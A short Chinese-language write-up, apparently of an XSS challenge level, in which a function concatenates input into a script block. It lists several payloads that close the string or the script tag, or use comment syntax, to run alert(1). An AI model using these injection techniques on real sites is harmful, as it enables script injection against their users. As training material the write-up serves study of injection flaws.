一、
function escape(s) { return '<script>console.log("'+s+'");</script>'; }
两种思路:1、结束 console.log,然后执行 alert(1);2、直接让 alert(1) 在console.log()中执行。
结束 console.log
1、payload:");alert(1)//
输出:<script>console.log("");alert(1)//");</script>
javascript中的注释:单行注释"//",多行注释"/**/"。
"<!--" 和 "-->"也能用作注释。所以下面的也能执行 alert(1):
<script>console.log("");alert(1)<!--");</script>
<script>console.log("");alert(1) -->");</script>
2、payload:</script><script>alert(1)//
输出:<script>console.log("</script><script>alert(1)//");</script>
直接让 alert(1) 在 console.log()中执行
1、payload:"+alert(1)+"
输出:<script>console.log(""+alert(1)+"");</script>
console.log()接收了一个表达式作为参数,alert(1)得以执行。